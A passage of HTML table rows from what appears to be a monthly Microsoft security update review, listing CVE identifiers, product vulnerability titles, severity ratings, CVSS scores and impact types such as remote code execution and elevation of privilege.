  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
